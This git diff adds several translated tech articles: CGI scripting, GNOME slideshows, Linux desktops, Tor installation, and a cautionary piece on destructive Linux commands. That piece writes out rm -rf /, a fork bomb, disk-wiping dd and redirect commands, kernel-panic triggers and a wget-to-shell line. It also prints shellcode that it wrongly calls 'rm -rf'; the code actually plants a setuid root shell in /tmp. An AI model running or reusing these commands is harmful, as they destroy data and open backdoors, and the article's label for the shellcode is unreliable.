/index.html
+```
+
+So HTML is not required, but if you had a large amount of text that needed formatting, the results of a web page with no HTML coding would be incomprehensible with everything running together.
+
+So the next step is to make the content more readable by using a bit of HTML coding to provide some formatting. The following command creates a page with the absolute minimum markup required for a static web page with HTML. You could also use your favorite editor to create the content.
+```
+echo "Hello World
" > test1.html
+```
+
+Now view index.html and see the difference.
+
+Of course you can put a lot of additional HTML around the actual content line to make a more complete and standard web page. That more complete version as shown below will still display the same results in the browser, but it also forms the basis for more standardized web site. Go ahead and use this content for your index.html file and display it in your browser.
+```
+
+
+
+My Web Page
+
+
+Hello World
+
+
+```
+
+I built a couple static websites using these techniques, but my life was about to change.
+
+## Dynamic web pages for a new job
+
+I took a new job in which my primary task was to create and maintain the CGI ([Common Gateway Interface][6]) code for a very dynamic website. In this context, dynamic means that the HTML needed to produce the web page on a browser was generated from data that could be different every time the page was accessed. This includes input from the user on a web form that is used to look up data in a database. The resulting data is surrounded by appropriate HTML and displayed on the requesting browser. But it does not need to be that complex.
+
+Using CGI scripts for a website allows you to create simple or complex interactive programs that can be run to provide a dynamic web page that can change based on input, calculations, current conditions in the server, and so on. There are many languages that can be used for CGI scripts. We will look at two of them, Perl and Bash. Other popular CGI languages include PHP and Python.
+
+This article does not cover installation and setup of Apache or any other web server. If you have access to a web server that you can experiment with, you can directly view the results as they would appear in a browser. Otherwise, you can still run the programs from the command line and view the HTML that would be created. You can also redirect that HTML output to a file and then display the resulting file in your browser.
+
+### Using Perl
+
+Perl is a very popular language for CGI scripts. Its strength is that it is a very powerful language for the manipulation of text.
+
+To get CGI scripts to execute, you need the following line in the in httpd.conf for the website you are using. This tells the web server where your executable CGI files are located. For this experiment, let's not worry about that.
+```
+ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
+```
+
+Add the following Perl code to the file index.cgi, which should be located in your home directory for your experimentation. Set the ownership of the file to apache.apache when you use a web server, and set the permissions to 755 because it must be executable no matter where it is located.
+
+```
+#!/usr/bin/perl
+print "Content-type: text/html\n\n";
+print "\n";
+print "Hello World
\n";
+print "Using Perl\n";
+print "\n";
+```
+
+Run this program from the command line and view the results. It should display the HTML code it will generate.
+
+Now view the index.cgi in your browser. Well, all you get is the contents of the file. Browsers really need to have this delivered as CGI content. Apache does not really know that it needs to run the file as a CGI program unless the Apache configuration for the web site includes the "ScriptAlias" definition as shown above. Without that bit of configuration Apache simply send the data in the file to the browser. If you have access to a web server, you could try this out with your executable index files in the /var/www/cgi-bin directory.
+
+To see what this would look like in your browser, run the program again and redirect the output to a new file. Name it whatever you want. Then use your browser to view the file that contains the generated content.
+
+The above CGI program is still generating static content because it always displays the same output. Add the following line to your CGI program immediately after the "Hello World" line. The Perl "system" command executes the commands following it in a system shell, and returns the result to the program. In this case, we simply grep the current RAM usage out of the results from the free command.
+
+```
+system "free | grep Mem\n";
+```
+
+Now run the program again and redirect the output to the results file. Reload the file in the browser. You should see an additional line so that displays the system memory statistics. Run the program and refresh the browser a couple more times and notice that the memory usage should change occasionally.
+
+### Using Bash
+
+Bash is probably the simplest language of all for use in CGI scripts. Its primary strength for CGI programming is that it has direct access to all of the standard GNU utilities and system programs.
+
+Rename the existing index.cgi to Perl.index.cgi and create a new index.cgi with the following content. Remember to set the permissions correctly to executable.
+
+```
+#!/bin/bash
+echo "Content-type: text/html"
+echo ""
+echo ''
+echo '
'
+echo ''
+echo 'Hello World'
+echo ''
+echo ''
+echo 'Hello World
'
+echo 'Using Bash
'
+free | grep Mem
+echo ''
+echo ''
+exit 0
+```
+
+Execute this program from the command line and view the output, then run it and redirect the output to the temporary results file you created before. Then refresh the browser to view what it looks like displayed as a web page.
+
+## Conclusion
+
+It is actually very simple to create CGI programs that can be used to generate a wide range of dynamic web pages. This is a trivial example but you should now see some of the possibilities.
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/article/17/12/cgi-scripts
+
+作者:[David Both][a]
+译者:[译者ID](https://github.com/译者ID)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/dboth
+[1]:http://december.com/html/4/element/html.html
+[2]:http://december.com/html/4/element/head.html
+[3]:http://december.com/html/4/element/title.html
+[4]:http://december.com/html/4/element/body.html
+[5]:http://december.com/html/4/element/h1.html
+[6]:https://en.wikipedia.org/wiki/Common_Gateway_Interface
+[7]:http://perldoc.perl.org/functions/system.html
diff --git a/sources/tech/20171219 How to set GNOME to display a custom slideshow.md b/sources/tech/20171219 How to set GNOME to display a custom slideshow.md
new file mode 100644
index 0000000000..7b74de82c5
--- /dev/null
+++ b/sources/tech/20171219 How to set GNOME to display a custom slideshow.md
@@ -0,0 +1,101 @@
+How to set GNOME to display a custom slideshow
+======
+A very cool, yet lesser known, feature in GNOME is its ability to display a slideshow as your wallpaper. You can select a wallpaper slideshow from the background settings panel in the [GNOME Control Center][1]. Wallpaper slideshows can be distinguished from static wallpapers by a small clock emblem displayed in the lower-right corner of the preview.
+
+Some distributions come with pre-installed slideshow wallpapers. For example, Ubuntu includes the stock GNOME timed wallpaper slideshow, as well as one of Ubuntu wallpaper contest winners.
+
+What if you want to create your own custom slideshow to use as a wallpaper? While GNOME doesn't provide a user interface for this, it's quite simple to create one using some simple XML files in your home directory. Fortunately, the background selection in the GNOME Control Center honors some common directory paths, which makes it easy to create a slideshow without having to edit anything provided by your distribution.
+
+### Getting started
+
+Using your favorite text editor, create an XML file in `$HOME/.local/share/gnome-background-properties/`. Although the filename isn't important, the directory name matters (and you'll probably have to create the directory). For my example, I created `/home/ken/.local/share/gnome-background-properties/osdc-wallpapers.xml `with the following content:
+```
+
+
+
+
+ Opensource.com Wallpapers
+ /home/ken/Pictures/Wallpapers/osdc/osdc.xml
+ zoom
+
+
+```
+
+The above XML file needs a `` stanza for each slideshow or static wallpaper you want to include in the `backgrounds` panel of the GNOME Control Center.
+
+In this example, my `osdc.xml` file looks like this:
+
+```
+
+
+
+
+ 30.0
+ /home/ken/Pictures/Wallpapers/osdc/osdc_2.png
+
+
+
+ 0.5
+ /home/ken/Pictures/Wallpapers/osdc/osdc_2.png
+ /home/ken/Pictures/Wallpapers/osdc/osdc_1.png
+
+
+ 30.0
+ /home/ken/Pictures/Wallpapers/osdc/osdc_1.png
+
+
+ 0.5
+ /home/ken/Pictures/Wallpapers/osdc/osdc_1.png
+ /home/ken/Pictures/Wallpapers/osdc/osdc_2.png
+
+
+```
+
+There are a few important pieces in the above XML. The `` node in the XML is your outer node. Each background supports multiple `` and `` nodes.
+
+The `` node defines an image to be displayed and the duration to display it with `` and `` nodes, respectively.
+
+The `` node defines the ``, the `` image, and the `` image for each transition.
+
+### Changing wallpaper throughout the day
+
+Another cool GNOME feature is time-based slideshows. You can define the start time for the slideshow and GNOME will calculate times based on it. This is useful for setting different wallpapers based on the time of day. For example, you could set the start time to 06:00 and display one wallpaper until 12:00, then change it for the afternoon, and again at 18:00.
+
+This is accomplished by defining the `` in your XML like this:
+```
+
+
+ 2017
+ 11
+ 21
+ 6
+ 00
+ 00
+
+```
+
+The above XML started the animation at 06:00 on November 21, 2017, with a duration of 21,600.00, equal to six hours. This displays your morning wallpaper until 12:00, at which time it changes to your next wallpaper. You can continue in this manner to change the wallpaper at any intervals you'd like throughout the day, but ensure the total of all your durations is 86,400 seconds (equal to 24 hours).
+
+GNOME will calculate the delta between the start time and the current time and display the correct wallpaper for the current time. For example, if you select your new wallpaper at 16:00, GNOME will display the proper wallpaper for 36,000 seconds past the start time of 06:00.
+
+For a complete example, see the adwaita-timed slideshow provided by the gnome-backgrounds package in most distributions. It's usually found in `/usr/share/backgrounds/gnome/adwaita-timed.xml`.
+
+### For more information
+
+Hopefully this encourages you to take a dive into creating your own slideshow wallpapers. If you would like to download complete versions of the files referenced in this article, they can be found on [GitHub][2].
+
+If you're interested in utility scripts for generating the XML files, you can do an internet search for gnome-background-generator.
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/article/17/12/create-your-own-wallpaper-slideshow-gnome
+
+作者:[Ken Vandine][a]
+译者:[译者ID](https://github.com/译者ID)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/kenvandine
+[1]:http://manpages.ubuntu.com/manpages/xenial/man1/gnome-control-center.1.html
+[2]:https://github.com/kenvandine/misc/tree/master/articles/osdc/gnome/slide-show-backgrounds/osdc
diff --git a/sources/tech/20171219 Migrating to Linux- Graphical Environments.md b/sources/tech/20171219 Migrating to Linux- Graphical Environments.md
new file mode 100644
index 0000000000..3f023e44fe
--- /dev/null
+++ b/sources/tech/20171219 Migrating to Linux- Graphical Environments.md
@@ -0,0 +1,108 @@
+Migrating to Linux: Graphical Environments
+======
+This is the third article in our series on migrating to Linux. If you missed earlier articles, they provided an [introduction to Linux for new users][1] and an [overview of Linux files and filesystems][2]. In this article, we'll discuss graphical environments. One of the advantages of Linux is that you have lots of choices, and you can select a graphical interface and customize it to work just the way you like it.
+
+Some of the popular graphical environments in Linux include: Cinnamon, Gnome, KDE Plasma, Xfce, and MATE, but there are many options.
+
+One thing that is often confusing to new Linux users is that, although specific Linux distributions have a default graphical environment, usually you can change the graphical interface at any time. This is different from what people are used to with Windows and Mac OS. The distribution and the graphical environment are separate things, and in many cases, they aren't tightly coupled together. Additionally, you can run applications built for one graphical environment inside other graphical environments. For example, an application built for the KDE Plasma graphical interface will typically run just fine in the Gnome desktop graphical environment.
+
+Some Linux graphical environments try to mimic Microsoft Windows or Apple's MacOS to a degree because that's what some people are familiar with, but other graphical interfaces are unique.
+
+Below, I'll cover several options showcasing different graphical environments running on different distributions. If you are unsure about which distribution to go with, I recommend starting with [Ubuntu][3]. Get the Long Term Support (LTS) version (which is 16.04.3 at the time of writing). Ubuntu is very stable and easy to use.
+
+### Transitioning from Mac
+
+The Elementary OS distribution provides a very Mac-like interface. It's default graphical environment is called Pantheon, and it makes transitioning from a Mac easy. It has a dock at the bottom of the screen and is designed to be extremely simple to use. In its aim to keep things simple, many of the default apps don't even have menus. Instead, there are buttons and controls on the title bar of the application (Figure 1).
+
+
+![Elementary OS][5]
+
+Figure 1: Elementary OS with Pantheon.
+
+The Ubuntu distribution presents a default graphical interface that is also very Mac like. Ubuntu 17.04 or older uses the graphical environment called Unity, which by default places the dock on the left side of the screen and has a global menu bar area at the top that is shared across all applications. Note that newer versions of Ubuntu are switching to the Gnome environment.
+
+### Transitioning from Windows
+
+ChaletOS models its interface after Windows to help make migrating from Windows easier. ChaletOS used the graphical environment called Xfce (Figure 2). It has a home/start menu in the usual lower left corner of the screen with the search bar. There are desktop icons and notifications in the lower right corner. It looks so much like Windows that, at first glance, people may even assume you are running Windows.
+
+The Zorin OS distribution also tries to mimic Windows. Zorin OS uses the Gnome desktop modified to work like Windows' graphical interface. The start button is at the bottom left with the notification and indicator panel on the lower right. The start button brings up a Windows-like list of applications and a search bar to search.
+
+### Unique Environments
+
+One of the most commonly used graphical environments for Linux is the Gnome desktop (Figure 3). Many distributions use Gnome as the default graphical environment. Gnome by default doesn't try to be like Windows or MacOS but aims for elegance and ease of use in its own way.
+
+The Cinnamon environment was created mostly out of a negative reaction to the Gnome desktop environment when it changed drastically from version 2 to version 3. Although Cinnamon doesn't look like the older Gnome desktop version 2, it attempts to provide a simple interface, which functions somewhat similar to that of Windows XP.
+
+The graphical environment called MATE is modeled directly after Gnome version 2, which has a menu bar at the top of the screen for applications and settings, and it presents a panel at the bottom of the screen for running application tabs and other widgets.
+
+The KDE plasma environment is built around a widget interface where widgets can be installed on the desktop or in a panel (Figure 4).
+
+![KDE Plasma][8]
+
+Figure 4: Kubuntu with KDE Plasma.
+
+[Used with permission][6]
+
+No graphical environment is better than another. They're just different to suit different people's tastes. And again, if the options seem too much, start with [Ubuntu][3].
+
+### Differences and Similarities
+
+Different operating systems do some things differently, which can make the transition challenging. For example, menus may appear in different places and settings may use different paths to access options. Here I list a few things that are similar and different in Linux to help ease the adjustment.
+
+### Mouse
+
+The mouse often works differently in Linux than it does in Windows and MacOS. In Windows and Mac, you double-click on most things to open them up. In Linux, many Linux graphical interfaces are set so that you single click on the item to open it.
+
+Also in Windows, you usually have to click on a window to make it the focused window. In Linux, many interfaces are set so that the focus window is the one under the mouse, even if it's not on top. The difference can be subtle, and sometimes the behavior is surprising. For example, in Windows if you have a background application (not the top window) and you move the mouse over it, without clicking, and scroll the mouse wheel, the top application window will scroll. In Linux, the background window (the one with the mouse over it) will scroll instead.
+
+### Menus
+
+Application menus are a staple of computer programs and recently there seems to be a movement to move the menus out of the way or to remove them altogether. So when migrating to Linux, you may not find menus where you expect. The application menu might be in a global shared menu bar like on MacOS. The menu might be below a "more options" icon, similar to those in many mobile applications. Or, the menu may be removed altogether in exchange for buttons, as with some of the apps in the Pantheon environment in Elementary OS.
+
+### Workspaces
+
+Many Linux graphical environments present multiple workspaces. A workspace fills your entire screen and contains windows of some running applications. Switching to a different workspace will change which applications are visible. The concept is to group the open applications used for one project together on one workspace and those for another project on a different workspace.
+
+Not everyone needs or even likes workspaces, but I mention these because sometimes, as a newcomer, you might accidentally switch workspaces with a key combination, and go, "Hey! where'd my applications go?" If all you see is the desktop wallpaper image where you expected to see your apps, chances are you've just switched workspaces, and your programs are still running in a workspace that is now not visible. In many Linux environments, you can switch workspaces by pressing Alt-Ctrl and then an arrow (up, down. left or right). Hopefully, you'll see your programs still there in another workspace.
+
+Of course, if you happen to like workspaces (many people do), then you have found a useful default feature in Linux.
+
+### Settings
+
+Many Linux graphical environments also have some type of settings program or settings panel that let you configure settings on the machine. Note that similarly to Windows and MacOS, things in Linux can be configured in fine detail, and not all of these detailed settings can be found in the settings program. These settings, though, should be enough for most of the things you'll need to set on a typical desktop system, such as selecting the desktop wallpaper, changing how long before the screen goes blank, and connecting to printers, to name a few.
+
+The settings presented in the application will usually not be grouped the same way or named the same way they are on Windows or MacOS. Even different graphical interfaces in Linux can present settings differently, which may take time to adjust to. Online search, of course, is a great place to search for answers on how to configure things in your graphical environment.
+
+### Applications
+
+Finally, applications in Linux might be different. You will likely find some familiar applications but others may be completely new to you. For example, you can find Firefox, Chrome, and Skype on Linux. If you can't find a specific app, there's usually an alternative program you can use. If not, you can run many Windows applications in a compatibility layer called WINE.
+
+On many Linux graphical environments, you can bring up the applications menu by pressing the Windows Logo key on the keyboard. In others, you need to click on a start/home button or click on an applications menu. In many of the graphical environments, you can search for an application by category rather than by its specific name. For example, if you want to use an editor program but you don't know what it's called, you can bring up the application menu and enter "editor" in the search bar, and it will show you one or more applications that are considered editors.
+
+To get you started, here is a short list of a few applications and potential Linux alternatives.
+
+[linux][10]
+
+Note that this list is by no means comprehensive; Linux offers a multitude of options to meet your needs.
+
+Learn more about Linux through the free ["Introduction to Linux" ][9]course from The Linux Foundation and edX.
+
+--------------------------------------------------------------------------------
+
+via: https://www.linux.com/blog/learn/2017/12/migrating-linux-graphical-environments
+
+作者:[John Bonesio][a]
+译者:[译者ID](https://github.com/译者ID)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.linux.com/users/johnbonesio
+[1]:https://www.linux.com/blog/learn/intro-to-linux/2017/10/migrating-linux-introduction
+[2]:https://www.linux.com/blog/learn/intro-to-linux/2017/11/migrating-linux-disks-files-and-filesystems
+[3]:https://www.evernote.com/OutboundRedirect.action?dest=https%3A%2F%2Fwww.ubuntu.com%2Fdownload%2Fdesktop
+[5]:https://www.linux.com/sites/lcom/files/styles/rendered_file/public/elementaryos.png?itok=kJk2-BsL (Elementary OS)
+[8]:https://www.linux.com/sites/lcom/files/styles/rendered_file/public/kubuntu.png?itok=a2E7ttaa (KDE Plasma)
+[9]:https://training.linuxfoundation.org/linux-courses/system-administration-training/introduction-to-linux
+
+[10]: https://www.linux.com/sites/lcom/files/styles/rendered_file/public/linux-options.png?itok=lkqD1UMj
diff --git a/sources/tech/20171219 Surf anonymously- Learn to install TOR network on Linux.md b/sources/tech/20171219 Surf anonymously- Learn to install TOR network on Linux.md
new file mode 100644
index 0000000000..a47f00ef75
--- /dev/null
+++ b/sources/tech/20171219 Surf anonymously- Learn to install TOR network on Linux.md
@@ -0,0 +1,104 @@
+translating---geekpi
+
+Surf anonymously: Learn to install TOR network on Linux
+======
+Tor Network is an anonymous network to secure your internet & privacy. Tor network is a group of volunteer operated servers. Tor protects internet communication by bouncing it around a distributed network of relay system run by volunteers. This prevents us from people snooping the internet, they can't learn what site we visit or where is the user physically & it also allows us to use blocked websites.
+
+In this tutorial, we will learn to install Tor network on various Linux operating systems & how we can use it configure our applications to secure the communications.
+
+ **(Recommended Read:[How to install Tor Browser on Linux (Ubuntu, Mint, RHEL, Fedora, CentOS)][1])**
+
+### CentOS/RHEL/Fedora
+
+Tor packages are part of EPEL repositories, so we can simply install Tor using yum if we have EPEL repositories installed. If you need to install EPEL repos on your system, use the suitable command (based on OS & Architecture) from the following ,
+
+ **RHEL/CentOS 7**
+
+ **$ sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-11.noarch.rpm**
+
+ **RHEL/CentOS 6 (64 Bit)**
+
+ **$ sudo rpm -Uvh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm**
+
+ **RHEL/CentOS 6 (32 Bit)**
+
+ **$ sudo rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm**
+
+Once installed, we can than install Tor browser with the following command,
+
+ **$ sudo yum install tor**
+
+### Ubuntu
+
+For installing Tor network on Ubuntu machines, we need to add Official Tor repositories. We need to add the repo information to '/etc/apt/sources.list'
+
+ **$ sudo nano /etc/apt/sources.list**
+
+Now add the repo information mentioned below based on your OS,
+
+ **Ubuntu 16.04**
+
+ **deb http://deb.torproject.org/torproject.org xenial main**
+**deb-src http://deb.torproject.org/torproject.org xenial main**
+
+ **Ubuntu 14.04**
+
+ **deb http://deb.torproject.org/torproject.org trusty main**
+**deb-src http://deb.torproject.org/torproject.org trusty main**
+
+Next open the terminal & execute the following two commands to add the gpg keys used to sign the packages,
+
+ **$ gpg -keyserver keys.gnupg.net -recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89**
+**$ gpg -export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -**
+
+Now run update & install the Tor network,
+
+ **$ sudo apt-get update**
+**$ sudo apt-get install tor deb.torproject.org-keyring**
+
+### Debian
+
+We can install Tor network on Debian without having to add any repositories. Just open the terminal & execute the following command as root,
+
+ **$ apt install tor**
+
+###
+
+### Tor Configuration
+
+If your end game is only to secure the internet browsing & not anything else, than its better you use Tor Browser but if you need to secure your apps like Instant Messaging, IRC, Jabber etc than we need to configure those apps for secure communication. But Before we do that, let's check out some [**warning mentioned on Tor Website**][2]
+
+- No torrents over Tor
+- Don't use any browser plugins with Tor
+- Use only HTTPS version of the websites
+- Don't open any document downloaded through Tor while online.
+- Use Tor bridges when you can
+
+Now to configure any app to use Tor, for example jabber; firstly select the 'SOCKS proxy' rather than using the HTTP proxy & use port number 9050 or you can also use port 9150 (used by Tor browser).
+
+![install tor network][4]
+
+You can also configure Firefox browser to be used on Tor network. Open Firefox browser & goto 'Network Proxy ' settings in 'Preferences' under 'General' tab & make the proxy entry as follows,
+
+![install tor network][6]
+
+We can now access Firefox on Tor network with complete anonymity.
+
+This was our tutorial on how we can install Tor network & use ti to surf the internet anonymously. Do mention you queries & suggestions in the comment box below.
+
+
+--------------------------------------------------------------------------------
+
+via: http://linuxtechlab.com/learn-install-tor-network-linux/
+
+作者:[Shusain][a]
+译者:[译者ID](https://github.com/译者ID)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:http://linuxtechlab.com/author/shsuain/
+[1]:http://linuxtechlab.com/install-tor-browser-linux-ubuntu-centos/
+[2]:https://www.torproject.org/download/download.html.en#warning
+[4]:https://i0.wp.com/linuxtechlab.com/wp-content/uploads/2017/12/tor-1-compressor.png?resize=333%2C240
+[6]:https://i1.wp.com/linuxtechlab.com/wp-content/uploads/2017/12/tor-2-compressor.png?resize=730%2C640
diff --git a/sources/tech/20171219 The Linux commands you should NEVER use.md b/sources/tech/20171219 The Linux commands you should NEVER use.md
new file mode 100644
index 0000000000..679d386b95
--- /dev/null
+++ b/sources/tech/20171219 The Linux commands you should NEVER use.md
@@ -0,0 +1,183 @@
+The Linux commands you should NEVER use
+======
+Unless, of course, you like killing your machines.
+
+Spider-Man's credo is, "With great power comes great responsibility." That's also a wise attitude for Linux system administrators to adopt.
+
+No! Really! Thanks to DevOps and cloud orchestration, a Linux admin can control not merely a single server, but tens of thousands of server instances. With one stupid move--like [not patching Apache Struts][1]--you can wreck a multibillion-dollar enterprise.
+
+Failing to stay on top of security patches is a strategic business problem that goes way above the pay grade of a system administrator. But there are many simple ways to blow up Linux servers, which do lie in the hands of sysadmins. It would be nice to imagine that only newbies make these mistakes--but we know better.
+
+Here are infamous commands that enable anyone with root access to wreak havoc.
+
+A word of caution: Never, ever run any of these on a production system. They will harm your system. Don't try this at home! Don't try it at the office, either.
+
+That said, onward!
+
+### rm -rf /
+
+Want to ruin a Linux system in no time flat? You can't beat this classic "worst command ever." It deletes everything--and I mean everything--from your system.
+
+Like most of these [Linux commands][2], the core program, `rm`, is very handy. It enables you to delete even the most stubborn files. But you're in deep trouble when you combine `rm` with those two flags: `-r`, which forces recursive deletion through all subdirectories, and `-f`, which forces deletion of read-only files without confirmation. If you run it from the / root directory, you'll wipe every last bit of data on your entire drive.
+
+Just imagine trying to explain that to the boss!
+
+Now, you might think, "I could never make such a dumb mistake." Oh, my friend, pride goes before a fall. Consider [this cautionary tale from a sysadmin on Reddit][3]:
+
+> I've been in IT a long time, but today, in Linux, as root, I `rm -r` the wrong path.
+>
+> Long story short, I had to copy a bunch of dirs from one path to another and, as you do, I did a couple of `cp -R` to copy the needed about.
+>
+> In my wisdom, I tapped the up arrow a couple of times as the dirs to copy are similarly named but they're in amongst a whole bunch of other stuff.
+>
+> Anyway, I tapped too far and being distracted as I typed on Skype and Slack and WhatsApp web as well as taking a call from Sage, my brained auto-piloted in: `rm -R ./videodir/* ../companyvideodirwith651vidsin/`
+
+And there went corporate video file after file into the void. Fortunately, after much frantic pounding of `control-C`, the sysadmin managed to stop the command before it deleted too many files. But let this be a warning to you: Anyone can make this mistake.
+
+True, most modern systems warn you in great big letters before you make this blunder. However, if you are busy or distracted as you pound away on the keyboard, you can type your system into a black hole.
+
+There are sneakier ways to get rm -rf. Consider the code below:
+
+`char esp[] __attribute__ ((section(".text"))) = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"`
+
+`"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"`
+
+`"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"`
+
+`"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"`
+
+`"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"`
+
+`"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"`
+
+`"\x6e\x2f\x73\x68\x00\x2d\x63\x00"`
+
+`"cp -p /bin/sh /tmp/.beyond; chmod 4755`
+
+`/tmp/.beyond;";`
+
+What is it? It's the hex version of `rm -rf`. Don't run any command unless you know what it is.
+
+### Bash fork bomb
+
+Since we are on the topic of odd-looking code, consider this line:
+```
+:(){ :|: & };:
+```
+
+It may look cryptic to you, but to me, it looks like the infamous [Bash fork bomb][4]. All it does is start new Bash shells, over and over again, until all your system resources are consumed and the system crashes.
+
+An up-to-date Linux system shouldn't do this. Note, I said shouldn't. I didn't say won't. Properly set up, Linux systems block this behavior from causing too much harm by setting user limits. Usually, users are restricted to allocate only the memory that the machine has available. But if you run the above (or some other [Bash fork bomb variants][5]) as root, you can still knock a server off until it's rebooted.
+
+### Overwriting the hard drive with garbage
+
+There are times you want to zap the data from a disk, but for that job, you should use a tool such as [Darik's Boot and Nuke (DBAN)][6].
+
+But for just making a royal mess of your storage, it's hard to beat running:
+```
+Any command > /dev/hda
+```
+
+When I say "any command," I mean any command with output. For example:
+```
+ls -la > /dev/hda
+```
+
+…pipes the directory listing to your main storage device. Given time, and root privileges, this overwrites all the data on your drive. That's always a good way to start the day in a blind panic--or turn it into a [career-limiting crisis][7].
+
+### Wipe that drive!
+
+Another all-time favorite way to smoke storage is to run:
+```
+dd if=/dev/zero of=/dev/hda
+```
+
+With this command, you're writing data to a drive. The `dd` command pulls its data from the special file, which outputs an infinity of zeros, and pours those zeros all over the hard drive.
+
+Now /dev/zero may sound like a really silly idea, but it has real uses. For example, you can use it to [clear unused space in a partition with zeros][8]. This makes compressing an image of the partition much smaller for data transfer or archival uses.
+
+On the other hand, its close relative, `dd if=/dev/random of=/dev/hda`, isn't good for much except ruining your day. If you ran this command (please don't), you would cover your storage with random crap. As a half-assed way to hide your secret plans to take over the office coffee machine, it's not bad, but DBAN is a better tool for that job.
+
+### /dev/null for the loss
+
+Perhaps it's because our data is precious to us and our confidence in backups is minimal, but many of these "Never do this!" Linux commands have the result of wiping a hard disk or other storage repository. Case in point: Another pair of ways to ruin your storage is to run `mv / /dev/null` or `>mv ` /dev/null`.
+
+In the former case, you as the root user are sending all the drive's data into the ever-hungry maw of `/dev/null`. In the latter, you're just feeding your home directory into the same vault of emptiness. In either case, short of restoring from a backup, you won't be seeing any of that data ever again.
+
+When it comes to containers, don't forget data persistence or data storage. 451 Research offers advice.
+
+[Get the report][9]
+
+Heck, accounting didn't really need up-to-date receivables files anyway, did they?
+
+### Formatting the wrong drive
+
+Sometimes you must format a drive with a command like:
+```
+mkfs.ext3 /dev/hda
+```
+
+…which formats the primary hard drive with the ext3 file system. But, wait one darn second! What are you doing formatting your main drive! Aren't you using it?
+
+Make doubly sure when you're formatting drives--be they solid state, flash, or good old ferrous oxide--that you're formatting the partition that really needs it and not one that's already in use.
+
+### Kernel panics
+
+Some Linux commands do not put your machine down for the long count. However, a variety of them can cause the kernel to panic. Normally, these failures are caused by hardware issues, but you can do it to yourself.
+
+When you encounter a kernel panic, you need to reboot the system to get back to work. In some cases, that's a mild annoyance; in others--such as a production system under heavy load--it's a big deal. Examples include:
+```
+dd if=/dev/random of=/dev/port
+
+ echo 1 > /proc/sys/kernel/panic
+
+ cat /dev/port
+
+ cat /dev/zero > /dev/mem
+```
+
+All of these cause kernel panics.
+
+Never run a command unless you know what it's supposed to do, which reminds me…
+
+### Be wary of unknown scripts
+
+Young or lazy sysadmins like to borrow scripts written by other people. Why reinvent the wheel, right? So, they find a cool script that promises to automate and check all backups. They grab it with a command such as:
+```
+wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh
+```
+
+This downloads the script and then shoots it over to the shell to run. No fuss, no muss, right? Wrong. That script may be poisoned with malware. Sure, Linux is safer than most operating systems by default, but if you run unknown code as root, anything can happen. The danger is not only in maliciousness; the script author's stupidity is equally as harmful. You can be bitten by someone else's undebugged code--because you didn't take the time to even read it through.
+
+You'd never do something like that? Tell me, all those [container images you're running on Docker][10]? Do you know what they're really running? I know too many sysadmins who run containers without verifying what's really in them. Don't be like them.
+
+### Shutdown
+
+The moral of these stories is simple. With Linux, you get an enormous amount of control over your system. You can make your servers do almost anything. But you must make certain that you use that power conscientiously. If you don't, you can wreck not just your servers, but your job and your company. Be like Spider-Man, and use your power responsibly.
+
+Did I miss any? Tweet me at [@sjvn][11] and [@enterprisenxt][12] to tell me which Linux commands are on your "[Never use this!][13]" list.
+
+--------------------------------------------------------------------------------
+
+via: https://www.hpe.com/us/en/insights/articles/the-linux-commands-you-should-never-use-1712.html
+
+作者:[Steven Vaughan-Nichols][a]
+译者:[译者ID](https://github.com/译者ID)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.hpe.com/us/en/insights/contributors/steven-j-vaughan-nichols.html
+[1]:http://www.zdnet.com/article/equifax-blames-open-source-software-for-its-record-breaking-security-breach/
+[2]:https://www.hpe.com/us/en/insights/articles/16-linux-server-monitoring-commands-you-really-need-to-know-1703.html
+[3]:https://www.reddit.com/r/sysadmin/comments/732skq/after_21_years_i_finally_made_the_rm_boo_boo/
+[4]:https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/
+[5]:https://unix.stackexchange.com/questions/283496/why-do-these-bash-fork-bombs-work-differently-and-what-is-the-significance-of
+[6]:https://dban.org/
+[7]:https://www.hpe.com/us/en/insights/articles/13-ways-to-tank-your-it-career-1707.html
+[8]:https://unix.stackexchange.com/questions/44234/clear-unused-space-with-zeros-ext3-ext4
+[9]:https://www.hpe.com/us/en/resources/solutions/enterprise-devops-containers.html?jumpid=in_insights~510287587~451_containers~badLinux
+[10]:https://www.oreilly.com/ideas/five-security-concerns-when-using-docker
+[11]:http://www.twitter.com/sjvn
+[12]:http://www.twitter.com/enterprisenxt
+[13]:https://www.youtube.com/watch?v=v79fYnuVzdI
diff --git a/translated/tech/20090701 The One in Which I Call Out Hacker News.md b/translated/tech/20090701 The One in Which I Call Out Hacker News.md
deleted file mode 100644
index 0b06d3259a..0000000000
--- a/translated/tech/20090701 The One in Which I Call Out Hacker News.md
+++ /dev/null
